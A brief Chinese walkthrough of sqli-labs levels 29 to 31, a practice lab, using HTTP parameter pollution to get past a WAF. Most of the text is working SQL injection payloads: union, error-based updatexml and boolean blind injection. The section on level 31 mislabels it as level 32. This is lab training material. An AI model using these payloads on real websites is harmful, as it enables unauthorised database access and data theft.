sqli-labs第29~31关问题为HTTP参数污染,不是select,union等过滤,而是需要waf绕过,但需要配置相应的环境如tomcat,防火墙才起效
http参数污染,拦截前面几个,只输入最后一个参数,如:
?id=1&&id=2
?id=1&&id=2&&id=3
1.第29关
29关为单引号注入,有报错信息
?id=1%27&&id=2%27%20order%20by%204--+
此关虽然有报错信息,但无法通过联合注入获取回显点,即不显示回显点
?id=1%27&&id=2%27%20union%20select%201,2,3--+
故采用基于报错的SQL注入
?id=1%27&&id=2%27%20and%20updatexml(1,concat(0x7e,database()),1)--+
略
2.第30关
第30关为双引号注入
id=2"或者id=1"&&id=2"都行
但此关无报错信息,可采用盲注
?id=2"and%20length(database())=8--+
或者
?id=1"&&id=2"and%20length(database())=8--+
略
3.第31关
第32关是双引号括号注入
?id=1"&&id=2")--+
也有报错信息
但同样不显示回显点
故采用基于报错的SQL注入,方法同29关一样,略